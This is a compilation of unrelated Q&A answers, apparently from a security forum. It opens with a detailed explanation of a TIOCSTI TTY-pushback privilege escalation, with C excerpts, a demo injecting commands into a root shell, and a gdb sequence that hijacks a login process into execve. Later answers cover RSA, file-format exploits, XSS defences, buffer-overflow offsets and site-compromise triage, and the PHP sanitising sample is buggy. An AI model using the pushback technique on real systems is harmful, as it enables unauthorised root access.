OK, this is not a complete answer therefore I preferred to wait for the bounty to expire to not seem opportunistic.  I cannot replicate the linux-vserver part of the vulnerability (mostly because it probably needs a 2.6 kernel and the assembly above will require that both the host and the guest machines are in 32bit mode).  I can only replicate the basic vulnerability, and explain how the rest works.  Here goes:

The pushback

The TIOCSTI ioctl is an esoteric IO control which allows to fake input, from man 4 tty_ioctl

Faking input
    TIOCSTI   const char *argp
           Insert the given byte in the input queue.

Therefore you can place bytes into the input queue of a TTY (or more likely on modern systems PTY, i.e. pseudo terminal) programmatically.

Now, if a TTY is shared by a process that has limited privileges and a process that has elevated privileges (e.g. root shell), you may be able to empty the queue into the elevated privilege shell from the limited shell.  This is performed by the example code sample from halfdog, but there is one extra thing we need to know about: how shells deal with the SIGSTOP signal.  So we will make a detour there.

SIGSTOP, SIGTSTP and shells

SIGSTOP is treated in exactly the same way as SIGTSTP (see the SO question), and SIGTSTP is performed in pretty much all terminals with Ctrl+Z.  A trivial example would be:

]$ less /etc/group  # And hit Ctrl+Z

[1]+  Stopped(SIGTSTP)        less /etc/group
]$ fg  # fg sends SIGCONT, and we are back inside less

Yet, shells ignore SIGTSTP, for example

]# su - grochmal
]$  # Ctrl+Z does not do anything in here
]$ exit
logout
]#  # back into a root shell

Shells do not ignore SIGSTOP but shells that receive SIGSTOP first relay SIGSTOP to all its children and only then wait, this is also the reason you need to use the nohup command when you want a process to survive shell stop (or shell termination).  Hmm... but since nohup can make a process survive shell stop so can one of our processes that implements similar signal handlers.

Moreover, if we can leave our process running after the shell stops and then inject bytes into the TTY input, who will receive those bytes is the root shell!

The code

The example code does exactly that, first it prepares the signal handlers:

sigAction.sa_sigaction=handleSignal;
sigfillset(&sigAction.sa_mask);
sigAction.sa_flags=SA_SIGINFO;
sigAction.sa_restorer=NULL;
sigaction(SIGSTOP, &sigAction, NULL);

And sends SIGSTOP to its parent (the unprivileged shell):

if (sendSignalFlag) kill(getppid(), SIGSTOP);

It then pushes every byte from the argument after -- into the TTY input:

pushbackLength=strlen(pushbackString)+1;
for(pushbackPos=0; pushbackPos<pushbackLength; pushbackPos++) {
  result=ioctl(0, TIOCSTI,
      pushbackPos+1!=pushbackLength?pushbackString+pushbackPos:"\n");
  if(result) {
    fprintf(stderr, "Pushback failed, result %d, error %d (%s)\n",
        result, errno, strerror(errno));
    return(1);
  }
}

And that's all.  The only extra trick is the $'' syntax which I'll talk about in the next example:

Example of trivial usage

Let's start from a root shell, perform a su - and make a trivial pushback.

]# ls /
bin  boot  dev  etc  home  lib  lib64  lost+found  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
]# su - grochmal
]$ wget http://www.halfdog.net/Security/2012/TtyPushbackPrivilegeEscalation/TtyPushbackSignaling.c
]$ gcc -o ttyp TtyPushbackSignaling.c
TtyPushbackSignaling.c: In function ‘main’:
TtyPushbackSignaling.c:83:28: warning: implicit declaration of function ‘getppid’ [-Wimplicit-function-declaration]
   if (sendSignalFlag) kill(getppid(), SIGSTOP);

That's fine, they just forgot to add #include <unistd.h>.  And now the pushback:

]$ echo yay >/yay
-bash: /yay: Permission denied
]$ ./ttyp -- $'echo yay >/yay\necho nay >/nay\n'
echo yay >/yay
echo nay >/nay

[1]+  Stopped                 su - grochmal
]# echo yay >/yay
]# echo nay >/nay
]#   # here I regain control of the shell
]# jobs
[1]+  Stopped                 su - grochmal
]# ls /
bin  boot  dev  etc  home  lib  lib64  lost+found  media  mnt  nay  opt  proc  root  run  sbin  srv  sys  tmp  usr  var  yay

As the user grochmal I can't write to /yay, but if I push the echo into the input queue and force the root shell to execute it, it goes out with root privileges.  The ./ttyp call uses the $'' shell syntax which allows me to embed \n characters as newlines (0x0a) notas the two characters \ and n.

]$ echo 'yay\nyay'
yay\nyay
]$ echo $'yay\nyay'
yay
yay

Inside the virtual container

(Can't replicate this, can only argue about how it should work)

Now comes the tricky bit of your question, namely this:

cat <<EOF > /x
#!/bin/bash
exec /TtyPushbackSignalin --NoSignal -- \$'\ntouch /xxx-outside\nstty sane'
EOF
chmod 0755 /x
gdb --pid [pid of login process]
(gdb) set *0x8051000=0x7880cd
(gdb) set *0x8051004=0x8051002
(gdb) set *0x8051008=0
(gdb) set $eax=0x0b
(gdb) set $ebx=0x8051002
(gdb) set $ecx=0x8051004
(gdb) set $edx=0x8051008
(gdb) set $eip=0x8051000
(gdb) quit

This expects a vitualisation engine (in this case linux-vserver) to share a TTY between the host and the guest machines.  In other words we are not escalating privileges from a normal user to root but from root on a virtual machine into root on the host machine.

The first part is not that different from the trivial example above.  We create a script named /x and call the pushback code from inside it.  The only differences are:

We will call this upon logout (see more below), so we do not need to send SIGSTOP ourselves.  We use --NoSignal for that (it controls that flag in the code).
We need to escape the $ (\$) since it needs to be passed to exec

So yeah we have a script (/x) that is executable (chmod 755).  If we can force that script to be called upon logoff (and the TTY is shared) we win.  We know that logoff is performed by waking up the login process which then returns the TTY.

Note: most of today's Linux systems will be using systemd-login not plain login.

The assembly part

The login process is waiting for SIGCONT (just like any stopped process) and its memory is owned by root of the virtual machine.  Since we own that memory we can make the process execute whatever we want by corrupting it.  That is what GDB is doing there.  Based on the register names in that excerpt we can see that it is running on an i386 Intel CPU, which is little-endian and has a word size of 32bits (4 bytes).  We can rewrite that GDB part to an equivalent that use full words (GDB would use full words anyway, the following is just more explicit):

gdb --pid [pid of login process]
(gdb) set *0x8051000=0x007880cd
(gdb) set *0x8051004=0x08051002
(gdb) set *0x8051008=0x00000000
(gdb) set $eax=0x0000000b
(gdb) set $ebx=0x08051002
(gdb) set $ecx=0x08051004
(gdb) set $edx=0x08051008
(gdb) set $eip=0x08051000
(gdb) quit

We are overwriting EIP the instruction pointer to point to a place in memory which we overwrite with 0x007880cd.  cd is an OPCODE which take one byte as an argument therefore we can read it as an operation cd80 or simply int 0x80 in Intel assembly (remember that this is little-endian).

int 80 happens to be the interrupt that performs a syscall on x86 (i386) Intel.  The interrupt number is taken from the EAX register, which we have overwritten with 0x0b.  We can check for that interrupt number in the Linux kernel headers, i.e. in x86/include/generated/asm/syscalls_32.h.  It happens to be:

#ifdef CONFIG_X86_32
__SYSCALL_I386(11, sys_execve, )
#else
__SYSCALL_I386(11, compat_sys_execve, )
#endif

So yeah, once it wake up, the login process will perform the sys_execve system call.  But, wait, according to man 2 execve, that system call has arguments:

int execve(const char *filename, char *const argv[], char *const envp[]);

All (well, almost all) syscalls have 3 arguments, they are take from the EBX, ECX and EDX registers, which we also conveniently overwrite:

EBX contains 0x08051002, which is 2 bytes after 0x08051002, which we have set to 0x007880cd.  If we remember that this is a little endian machine we can see that the first two bytes after 0x08051002 are 0x0078.  This is interpreted as const char * therefore it is the character x (0x78) and the string terminator \0 (0x00).
ECX should be a const char **, a pointer of pointers (null terminated for syscall purposes).  On x86 Intel a pointer is 4 bytes long.  We set ECX to 0x08051004, and the first 4 bytes contain 0x08051002 which is a pointer to the string "x" (remember? that is the content of EBX).  The next 4 bytes (at 0x08051004) contains only zeros terminating the pointer of pointers.
EDX contains 0x08051008 which (as a const char **) points to 4 bytes of zeros, meaning a null argument.

Therefore, in plain C, our call could be written as:

const char *x = "x";
const char **ar = { x, 0 };
execve(x, ar, ar[1]);

This technique of reusing memory locations for several arguments in a syscall is very common in shellcode, this is because it reduces the size of it.

Extra notes

The guys at halfdog also mention NX and ASLR but I have no clue why.  NX and ASLR protect from buffer overflows when the attacker either can only overwrite the stack or cannot analyze the specific instance of a process ('cause the stack start is randomized).

NX prevent execution of assembly from the stack.  But we do not care about the stack, we pretty much can corrupt the memory next to the current EIP which would be in a part of memory that is allowed to contain executable instructions.
ASLR randomises the start of the stack location in memory.  This prevents a buffer overflow from knowing where it is.  There was a vulnerability here that allowed to overcome it by bouncing of lib-exec (mentioned by halfdog), but it has long been fixed pretty much everywhere.

You can defeat both by simply using GDB and /proc/<PID>/stat to find the current EIP, see the relevant SO question, and corrupt memory close to it instead of 0x8051000.

Conclusion

The vulnerability performed an execve call from the corrupted login process.  This execve started the script that pushed bytes into the TTY input queue which then was read by the host machine shell.

I could not replicate this on anything I had.  I admit that I did not use an environment similar to what halfdog did (kernel 2.6, x86 Intel, linux-vserver; instead I tried x86_64, kernels 3.16 and 4.7, and Xen).  One thing that bugs me is how the execve call finds the script (that's my major issue with replication), I believe that linux-vserver leaves the host shell in the / filesystem of the guest machine (see man 7 path_resolution).  Nevertheless, I hope that this more or less clarifies how this should work.


Encrypt with private and decrypt with public

This is the path used when proving the encrypted data hasn't been tempered with, commonly known as a digital signature[1].

The part the diagram leaves out is that the commonly accepted technique for digital signatures is to use a hash function, like SHA-256, to represent the data, then sign the hash.  It reduces the amount of data being transmitted and reduces the amount of data available to an attacker to reverse engineer the private key.

Also, as a nit, the encrypted data would not be the same in the two paths as shown in the diagram.  So it's good not to take simplifications too literally.

[1] http://en.wikipedia.org/wiki/Public-key_cryptography#Inverse_Public_Key_Encryption


What possibly can be done with a public key?

What is the purpose of this unlock_key ? Is it for unlocking the device ?

No idea.

  What encryption scheme or algorithm is being used to generate this public key ?

The public key is not encrypted. But it is probably a 2048 bit RSA public key.

  How can I decrypt this to get plain text ? Is that possible ?

Since it is not encrypted you cannot decrypt it.

  Is there a way to get private key corresponding to this public key ?

Practically impossible.


Could you write custom data to a file of a specific extension and use it to hack a program once it opens the file?

File extensions

The file extension actually has absolutely nothing to do with the data in the file or how that data is structured. Windows likes to make you think the extension is somehow magical - it's not, it's just part of the file name, and tells Windows which program to launch when you open the file. (Linux/Android and MacOS/iOS still use file extensions a bit, but not nearly to the same degree that Windows does.)

You are completely correct that you can dump some data into a file, call it virus.png and it'll get opened by an image viewer. Call it virus.docx and it'll get opened by MS Word.

Unexpected data

If you take a well-written program and feed it file containing data that it's not expecting, nothing exciting should happen. The program should give an error about a "corrupted file" or something similar and move on with its life. The problem happens when the program is not well-written - usually due to some small bug like a programmer forgetting to check the bounds of an array, forgetting to check for null pointers, or forgetting to put braces { } on an if statement.

Even if there is a bug, 99.999...% of malformed data will get the "corrupted file" error. Only if you construct the data very carefully can you get something malicious to happen. For a concrete example, see the section on StageFright below.

(Thanks to @octern's comment for this).

Malicious payloads in innocent-seeming files

Yes, what you're describing is actually a common attack vector - hence the general fear of opening unknown email attachments.

As an attacker, if you know that there's a vulnerability in a specific program, say the default Windows image viewer, then you can construct a malicious file designed to exploit this. Usually this means that you know that a certain line of code in the viewer does not check the bounds of an array, so you build a malformed .png specifically designed to do a buffer overflow attack and get the program to run code that your inserted.

PNG exploits

For example, here's a vulnerability report about the open source library libpng [CVE-2004-0597].

  Multiple buffer overflows in libpng 1.2.5 and earlier, as used in multiple products, allow remote attackers to execute arbitrary code via malformed PNG images in which (1) the png_handle_tRNS function does not properly validate the length of transparency chunk (tRNS) data, or the (2) png_handle_sBIT or (3) png_handle_hIST functions do not perform sufficient bounds checking.

Aside: a Common Vulnerabilities and Exposures (CVE) is a way to track known vulnerabilities in public software. The list of known vulnerabilities can be searched here: https://cve.mitre.org/cve/cve.html

If you search the CVE's for "png" you will find hundreds of vulnerabilities and attacks just like the one you imagined in your question.

Android StageFright

The StageFright Android vulnerability of April 2015 was very similar: there was a buffer overflow vulnerability in Android's core multimedia library, and by sending a malformed audio/video file by MMS (multimedia message), an attacker could get complete control of the phone.

The original exploit for this vulnerability, was for an attacker to send a 3GPP audio / video file in which looked like a valid audio/video file, except that one of the integer fields in the metadata was abnormally large, causing an integer overflow. If the large "integer" actually contained executable code, this could end being run on the phone, which is why this kind of vulnerability is called an "arbitrary code execution vulnerability".

PDF and MS Word exploits

If you search the CVE's for "pdf" or "word" you'll find a whole pile of arbitrary code execution vulnerabilities that people have been able to exploit with those file types (wow - a number of very recent ones for Word too, neat). That's why .pdf and .docx are commonly used as email attachments that carry viruses.


Can a SMS recipient charge any arbitrary fee to the sender without approval?

Yes, it is possible. There are pay-numbers for sms and calling and if you happen to call to that number or send sms, you are charged with extra than usual call/sms. Often these numbers are used for charity by phone or call-centers and users are informed about rates of these calls. However, they can be used for malicious intent.

To avoid it:
1) Don't call or send sms to numbers you don't know. Usually these numbers are different in format from standard numbers, usually start with 900. See here - http://en.wikipedia.org/wiki/Premium-rate_telephone_number
2) Some phone providers allow clients to block premium-rate phone calls, so that when you actually try to make call/sms, it fails.

On side note, also there are some services that allow users to subscribe, so that they receive something every week or even every day (funny pictures, ringtones..). There have been cases when that is not stated clearly and users are tricked in to subscribe and don't notice that they are paying regularly for services that they didn't intend to use.


My website has been hacked, what do i do next?

This is a forum for IT security experts not legal experts in international IT law, so questions about prosecution / law enforcement are mostly off topic.  Though I'd first harden your system and later think about trying to prosecute; as tracking down who was the human user at the other end is not a trivial task -- especially if it happened overseas.

Can you describe your setup?  Is it on a linux server/windows server/shared host/wordpress blog?

You've given us very little information.  Before figuring out how they got in, let's first see what is going on.

How is it being forwarded?

Javascript?  (E.g., disable javascript in your browser -- does it still forward?)
HTTP META refresh tag or in an iframe?  Use a utility like curl / wget to download a static copy of the html from your webpage.  Is everything in a giant <iframe> or is there a tag like <META http-equiv="refresh" content="0;URL='http://random_other_site.com' />
3xx HTTP Redirect?  Use a utility to look at the HTTP headers.  E.g., in google chrome - press ctrl-shift-I to pull up developer tools, go to the "Network" tab and try visiting your page.  If the http status code is 302/304 (or something else in the 300s), they've altered your server code.  Can you login to your server?
DNS pointing your domain to somewhere else?  Run dig www.foo.com - does it point to your IP address?  (They likely managed to change your authoritative DNS records -- go to your registrar to get back control.  They probably managed to get your passwords at your registar somehow.)
ARP poisoning on your local network? (Try visiting your site from a different network).  (If this is the case; just lock down your routers.)
Changed your content to their content on your website being served by your webserver?  (Look for weak passwords; vulnerabilities where unauthorized users can upload files).

As for how they get in; depends on the type of attack.  Maybe you (or any other user with access) you have a weak password (and it was guessed) or one that you've reused elsewhere, or weak password reset mechanism, or you authenticate into your server without using SSL, or you've logged in once from a machine with a keylogger, and the attacker captured your login information.  Possibly your site was vulnerable to say cross-site scripting that injected malicious javascript to redirect your site.  Maybe your site is configured weakly, used tools that have known 0-day vulnerabilities that allowed attackers to randomly upload files to be served and change content.


Is hardware firewall needed for a local network without internet access?

Firewall used to separate trusted network to untrusted  network. If you trust your that insider will not
initiate any threat then you don't need firewall. But, users to be very aware. Like, they would not connect any device will any of the device at the
inside network's devices. Threat not always comes form Internet. If you network is wireless then attacker could access to your network.


Custom EXE Template Metasploit 64-bit ASM PE Syntax

Unfortunately, there exists no single standard for assembly language files.
 (While the instructions are obviously part of the ISA, the specific syntax of the files and particularly the features like extrn are specific to each assembler.) To compile this on linux, you would need to adjust the syntax of the assembly source to use nasm or gas syntax.  The existing file is designed for MASM (the Microsoft Assembler).


Why are inline scripts and styles considered not secure under content security policy?

So why not allow inline JS? Because that would negate the whole benefit of a CSP! The  goal is to stop XSS - injection of eg. JS into a HTML page. Since it is near impossible to distinguish between scripts that are legitimately mixed into HTML and scripts that have been maliciously injected into HTML, the best way to stop XSS is to simply not allow any inline scripts. Yes,  it is "just a kind of language embedded in another", but that mix risk being toxic.

So why block it by default? Because the philosophy is to block everything by default, and then list what should be allowed. Whitelisting instead of blacklisting decreases the risk of something slipping through accidentally.


I had a similar problem to solve, but from a URL in SMS (simple logon, without username/password). So I generate one time code for it, but you can as well use the existing token (you need to know the keys of course to decrypt or validate it).

You can find details of my approach here with an answer on how secure that approach is. So you can always generate this one time tokens for logon that are valid for say 30 seconds, so it will be very hard to abuse in this short time as far as I can see (though of course you'll need more entropy in the token than I needed for SMS).

Otherwise if you can reuse the same token in the web application, then you don't even need to validate it in this additional request: just issue the cookie with what you got as a parameter, redirect and let MVC handle the rest.


PHP has built in session management that you could use - eg.

session_start();
<?php
    $_SESSION[] = something;
session_destroy(); <- when you want to end that current session
?>

For your form action: <?php echo($_SERVER[PHP_SELF]);> to mitigate xss

if you use this method, each session will assign a user-key on the users machine and when a session is opened elsewhere, it scans for that key - if it matches it accesses that session - if not then it starts a new session.

You can use session_destroy() to kill all session data for that useror session_unset(); to destory a particular session.

If you are using an sql database then you have to ensure that validation is being performed - otherwise you leave your web app open to a number of attacks, ie. XSS, SQLi, etc. which can leak out your users data, for a social media app / website that is very bad for obvious reasons. For a login field for example - something like this would be secure:

<?php
    function clean($string)                    //custom cleaning with regex
    {
        $string = str_replace(' ', '-' $string);
        $string = preg_replace('/[^A-Za-z0-9\-]/', '', $string);
        return preg_replace('/-+/', '-', $string);
    }

    if(isset($_POST('submit')))               // built in sanitising
    {
        $sanitised_name = filter_input(INPUT_POST, 'username', FILTER_SANITISED_ENCODED, FILTER_FLAG_STRIP_HIGH);
    }

    echo $sanitised_name;                    // print out the sanitised name
    echo .clean($_POST['username']).;        // print out using the custom function

   ?>

Above shows two different ways you can achieve very similar results with built in functions. the first block uses regex that you could restrict to whatever character set you wanted your users to use, while the second block uses the built in functions that PHP has - the end just echo's out so you can see the difference for whatever input you use.

EDIT: When storing your users usernames and passwords you should store the plaintext name in your database, but passwords should be salted and hashed, so rather than checking if a username and password matches, check if a username and password hash match what you have in your database - but make sure you set up a secure connection first before a user submits anything - otherwise they are sending information to your site unsecurely - quite easy for someone to MITM and steal credentials.

I actually wrote a paper that specifically deals with securing PHP, SQL, cookies and sessions from attacks like XSS, SQLi, session hijacking etc. if its any use to you i'll leave a link to it below since it goes into more detail: https://github.com/TheresAFewConors/Security/blob/master/Web%20Application%20Security.pdf Just as a disclaimer I don't work in security - i'm a student studying compSec but hope to work in the industry in the next couple of years - if there's anything missing or better than my answer ill happily edit it to improve it since some people on here are extremely knowledgable!

Good luck with with the social media app and website - its good to see that you are wanting to make it secure from the start!


Is it dangerous to use the same key (RSA) for both encryption (PGP) and authentication (SSH)?

In a PGP setup, encryption occurs with the recipient's public key. In SSH authentication, this is (internally) a signature with the client's private key. If Alice sends a message to Bob and also connects to Carol's server, then Alice will use Bob's public key to encrypt, and here own private key (from a distinct key pair) to sign. No problem here.

A trickier case is when Bob wants to both receive encrypted messages from Alice, and connect to Carol's SSH server. In that case, Bob uses his private key to decrypt incoming messages (from Alice), and also to sign things sent by Carol (the authentication challenge within the SSH handshake). Using the same private key for two distinct algorithms is, generally speaking, a bad idea, because possible interactions between the two usages are a poorly explored area. Also, normally want to keep a backup of any encryption key, and not keep a backup of any authentication/signature key (see this), so making the two keys the same means that you are doing things suboptimally.

For that matter, a normal PGP setup already entails having several key pairs (a "master key" that can revoke the sub-keys, and sub-keys for encryption and signatures). Having an extra one for SSH should be no hardship.

(Not counting the fact that PGP implementations like GnuPG, and SSH implementations like OpenSSH, have distinct formats for encoding keys, so using the same key for both would need some effort.)


In general this depends on the router. All WiFi routers know the WiFi Mac addresses of all associated devices, but whether you can login and see that data depends on how “manageable” the WiFi router is.  But the MAC address is not necessarily a useful device name.

Whether the WiFi threatens your devices on your secured SSID also depends on the vendor. I would expect a guest WiFi to not allow users on that net to access each other (p2p blocking) and definitely not access your secured wired/wireless nets.

The only way to know for sure is to try it. Associate to the guest net and try to access your secure net devices.

The other problem with a wide open guest WiFi network is that it is probably accessible from your neighbors houses, and they may use the network to access ...inappropriate... content that may result in a law enforcement visit or your ISP threatening to turn you off.

I personally like guest WiFi. It minimizes the cases where I give out my internal WiFi password to guests. But letting the neighbors or pedestrians use my WiFi to download possibly awful content is a real showstopper.  Setting your DNS server to openDNS (and turning on appropriate DNS filtering) can minimize this risk for non-technical neighbors. Technical neighbors can statically set their own DNS of course.


How to implement iterations when hashing passwords?

Yes, there are several requirements for an iterative hash function:

It should not be possible to do any precomputation, such as using rainbow tables.
The implementation should avoid running into cycles or fixed points in the hash function.
The implementation should be as fast as possible, because that is what the attacker would use.

Especially on the final point the example code is lacking. The crypto.createHmac(algorithm, salt) should really be outside of the loop. Because the attacker hashes many passwords with the same salt, he can even place the createHmac call outside of the password loop, e.g:

hmac = crypto.createHmac(algorithm, salt)
for (password in allpasswords) {
    var hash = password;
    for(var i=0; i<iterations; ++i) {
        hash = hmac.update(hash).digest('hex');
    }
    ...
}

This gives the attacker an advantage when cracking passwords, which would be avoided if the HMAC used the password instead of the salt as the key, as PBKDF2 does.

By implementing the given code in C and doing some optimizations, I managed to get it to be 10 times faster than the original NodeJS implementation. This means that an attacker can crack passwords 10 times faster than you intended, without even using a GPU or FPGA.

So there does exist a function that does a fast version of HMAC(HMAC(HMAC(password))), simply because HMAC does much the same work in every iteration.

I wrote a blog post about this.


RSA: same symbols in plaintext give same symbols ciphertext?

Single, unpadded input chars
That implementation you linked operates on individual characters. So patterns are repeated.

Also these characters are not padded in any way. Padding would prevent such easily spotted patterns.

Not the real thing
So this is somewhat RSA like. But it is not actual RSA. (Because PKCS#1 mandates padding.) Wikipedia calls this "Plain RSA". Another name heard here is "Textbook RSA".

Further reading

See section "Trading secrets" here: The First Few Milliseconds of an HTTPS Connection
See section "Padding" here: Wikipedia: RSA


How can Facebook use history data in browser

Many sites have social buttons. These images are hosted on the social networks servers. When these images are loaded in the browser, the browser will add the  referer header. This allow the owners of the social network to know what sites you have visited.

I believe this explains how facebook is able to track your browsing history.

A web-browser plugin called AdBlock is capable of blocking these social buttons. Here is an explaination of the Social Buttons from their website:

  From: https://adblockplus.org/en/tutorials#disablesocial

  How to disable social media buttons

  Almost every website today contains buttons of social media platforms,
  such as Facebook, Twitter, Google + and others. Even if you never
  click these buttons, your browsing data is still being transferred to
  these platforms in order to create a profile based on your browsing
  habits.

  If you want to browse the web without being observed by the social
  media websites, Adblock Plus offers an easy solution to remove these
  buttons.

Ordinary tracking scripts from advertisements network does more or less the same - but can also be blocked with web-browser extensions.


The usual method for recovery is to have a key escrow. Basically, full-disk encryption uses a symmetric key K. From the user's password p is derived another key Kp, which is used to encrypt K: the disk contains both all the data (encrypted with K) and EKp(K). When the user types his password, Kp is rebuilt, and then used to recover K. (This indirection allows for some interesting things, e.g. you can change your password without having to reencrypt the whole disk.)

A full-disk encryption solution will also store EKa(K), where Ka is the encryption key of an administrator or "recovery agent". This time, asymmetric encryption is often used (Ka is public, but the corresponding decryption key is known only to the recovery agent). If the password becomes unavailable (user forgot his password; user was fired; user died; user has been arrested on the Mexican border with 371 lb of Marijuana and won't be available for a few years;...), then the recovery agent can use his private key to recover K and thus unlock the data.

The key K is often called the "master key". The "recovery agent" can be an external device where a copy of K is stored (TrueCrypt calls that a rescue disk). In some systems the asymmetric encryption with Ka is skipped and a copy of the master key K is directly sent to the recovery agent (details vary depending on software solution and configuration options).

In any case, if your full-disk encryption does not offer at least some duly documented recovery options, then just don't use it.


ModSecurity - XSS not blocked when #/ (hash) is added in the url by NodeJS application

A URI fragment is never actually sent to the server by a well-behaved client, it's only meant to be processed client-side, where Apache and ModSecurity can't see it.

The fragment identifier functions differently to the rest of the URI: its processing is exclusively client-sided with no participation from the web server, though the server typically helps to determine the MIME type, and the MIME type determines the processing of fragments. When an agent (such as a web browser) requests a web resource from a web server, the agent sends the URI to the server, but does not send the fragment. Instead, the agent waits for the server to send the resource, and then the agent processes the resource according to the document type and fragment value.
URI fragment - Wikipedia

Because of this it wouldn't really be possible to perform SQLi using a URI fragment (except maybe by a badly-behaved client and a poorly-programmed server).


Cannot execute shellcode using buffer overflow

The EIP is pointing to the address 0x90909090, which is an invalid memory address.
Essentially, your raw data (NOPs) are being interpreted as an address that points to the next instructions to execute. You need to fill EIP with the address of your NOPs.

If you find out exactly which four NOPs are ending up in the EIP, then you can place the address of your shellcode at that location.

Next steps:
Try finding out exactly what the offset is that ends up controlling EIP. The pattern create tool from peda (https://github.com/longld/peda) can help here. Insert the pattern (of length 476) in your payload instead of the NOPS, and see what address ends up in EIP. Then use pattern search to find out what offset that is.


Is OAuth appropriate for a private API to be used by registered customers?

Assuming that the API clients need to access information on their own behalf, rather than on a third-party user's behalf, then that should correspond to the "Client Credentials" authentication flow in OAuth 2.

Consulting the spec, that's effectively a request amounting to "here is an ID and a pre-shared secret", and a response with "here is a token that lets you access resources" - extremely similar to traditional authentication with a username and password.

Looking at it like that, you could use a limited subset of OAuth 2 for the sake of future-proofing your API in case it ever needs any of the other OAuth functionality. Or, if you already have some authentication layer based on username+password, you could potentially re-use some of that logic for this. In the case of Client Credentials, the two approaches appear essentially the same from a security perspective.

Now, one usability benefit of using OAuth 2 client credentials is that the client developers can use existing off-the-shelf libraries if they so choose, rather than being required to build a custom authentication layer in their client app. So for that reason, building a simple OAuth 2 client credentials workflow seems like a good approach.


Identify an HTTP scanner from some HTTP headers

Accurately fingerprinting a vulnerability scanner by inspecting the HTTP header fields can be inaccurate and inefficient. Pretty much any decent http client will allow you to change/modify/add HTTP headers, so you never know if the user running it has changed those headers.

For example, a common open source vulnerability scanner skipfish has flags to mimic a browser in its request patterns. From its documentation:

  By default, skipfish sends minimalistic HTTP headers to reduce the
  amount of data exchanged over the wire; some sites examine User-Agent
  strings or header ordering to reject unsupported clients, however. In
  such a case, you can use -b ie or -b ffox to mimic one of the two
  popular browsers; and -b phone to mimic iPhone.


How to properly configure OSSEC for Web Application Security ?

You might want to include folders which contains your application. Should an attacker be able to exploit your server chances are they will write a file to your web root.


When you do a remote whipe on your iphone, the encryption keys are deleted making the data unreadable. However, if you later find your iphone you can restore your data using mobileme to re-download the encryption keys. So the encryption keys are still stored on Apple servers.

Hence, it would make sense that law enforcement can certainly ask Apple for the encryption keys stored on their servers. Also, I am not sure what sort of encryption algorithm the iphone uses, it might not be so hard to intelligently brute force the encryption keys.

EDIT: by doing some googling, I cam across this: http://www.iosresearch.org/ and https://viaforensics.com/resources/white-papers/iphone-forensics/. However, it looks like Zdziarski method requires the hardware encryption keys to be present on the device.


Wireless Adapters for Testing with BackTrack

The first place to look would be the BackTrack wiki: http://www.backtrack-linux.org/wiki/index.php/Wireless_Drivers

There is also a strong community who will provide guidance on the Backtrack forums.


How to sniff direct websocket connection in android ( i.e. no HTTP Upgrade connections ) using BURP?

Finally I got it working.

The Problem :

The thick client wasn't respecting the mobile's proxy setting and 'invisible proxying' didn't help either as the app was using direct IP to communicate. ( This part took me a lot of time figuring out, rest part was almost ~20 minutes )

How I got it working :

Since I had a rooted phone I used ProxyDroid ( with Global Proxy setting ON, which requires root ), to configure iptables and others to route all traffic through my BURP proxy.

Bonus - Things learnt :

I had realized, while I started exploring this problem for the past 36 hours that the reason AND solution to this problem would definitely add to my android application testing skills.
This saved me a lot of endpoints I might have missed on my further android application pentesting.


Allow access to a directory for certain application only

For this have you considered using a containerization solution like Docker to have an isolated version of Thunderbird?

There's some existing examples like this one.

Docker solves the problem of shared libraries that you identified in the chroot section of your question by bundling up all the dependencies within the container, and you could restrict permissions to directories that are mounted into the container.

One caveat to this approach is that you should ensure that the other users on the system that you don't want to read the data are not able to run docker commands (so don't add them to the docker group if you use it) as they could then get access to the data.


Store and protect details for software licenses

You can use the attachment feature in saving password in Keepass to store your files highly-encrypted, but Keepass or other software solutions like Lastpass have the risk of being a single point of failure!

The protection of all information depends on keeping one master password safe. If you forget it or someone sniffs your master password, all will be gone!


If PAP is insecure why is it commonly the only authentication protocol available for Radius?

While only the maker of a device can give you the canonical answer about that device, there are a few factors that generally explain why only PAP is supported on many platforms:

PAP is old (RFC 1334 was published in 1992) so it used to be pretty much the only standardized choice. Even after newer (and arguably better) standards were released (such as CHAP in 1996 and EAP in 1998 with updates in 2004), companies could still use the already-written PAP code in existing products and just move it to their new products.
PAP is easy to implement - no need to understand complex encryption mechanisms.
There is an easy way to add another layer of security, so there is no incentive to fix it. (See final paragraph below)

In truth though, PAP as used by RADIUS does not actually send the password in plaintext. Instead, it XORs the password with an MD5 hash based on a shared secret. While this is also considered to be insecure, it is still at least a little better than actual plaintext.

The best practical answer for safe use of PAP is to tunnel the RADIUS traffic through a VPN (IPSec tunnel or similar). This is becoming standard practice when dealing with RADIUS connections anyway, as there could also be other sensitive user data besides the password that has to be secured.


A fake phone tech changed my start up password.

You have fallen victim of scammers. Best thing to do is to format your PC and restore it from backup. Reseting the password is not enough as they might have installed several backdoors which could allow remote access.

If they have such access they could steal your credit card data the next time you make a purchase from your computer ( or any other payment data such as bank login).


In order to support this functionality the interpreter will have to be augmented.  Fortunately this a code singing feature probably doesn't require a PHP extension like hardened-php. In fact there is a simpler way.

You could change your php.ini to auto-prepend a php script that reads the $_SERVER['SCRIPT_FILENAME'] and verifies the current script's signature.  If the signature check fails, then call die(); and it will never be able to execute.

This is a pretty simple solution.  However,  this won't prevent an attacker from exploiting vulnerabilities in existing code to obtain code execution,  including but not limited to eval() and RFI/LFI vulnerabilities.  Also,  each interpreter will require its own solution.  For instance client-side JavaScript would require a browser specific extension like NoScript.  "Unauthorized JavaScript" is more more commonly refereed to as XSS.  A great solution for XSS is the Content Security Policy,  because it gives you control over where the browser can execute JavaScript.  There isn't a one size fits all answer to this problem.


Apparently PayPal-affiliated site with very suspect security

I have been doing further research, the special site has "PayPal, Inc[US]" certificate and the paypal original site has "PayPal, Inc.[US]" certificate (note the dot after Inc).

The certificates contain this (relevant) information:

CN = www.paypal-special.com
OU = Partner Support
O = PayPal, Inc
STREET = 2211 N 1st St
L = San Jose
S = California
PostalCode = 95131-2021
C = US
SERIALNUMBER = 3014267
2.5.4.15 = Private Organization
1.3.6.1.4.1.311.60.2.1.2 = Delaware
1.3.6.1.4.1.311.60.2.1.3 = US

CN = www.paypal.com
OU = PayPal Production
O = PayPal, Inc.
STREET = 2211 N 1st St
L = San Jose
S = California
PostalCode = 95131-2021
C = US
SERIALNUMBER = 3014267
2.5.4.15 = Private Organization
1.3.6.1.4.1.311.60.2.1.2 = Delaware
1.3.6.1.4.1.311.60.2.1.3 = US

There is something strange here as well, both certificates have the same serial number.

But, this certificate is quite expensive for two years (3 000 dollars) so I suppose the page is legit but a bit abandoned and they have not put enough effort in it.

Also, about the domain information, we can find the following data (which is consistant with the certificate information):

Domain Name: paypal-special.com
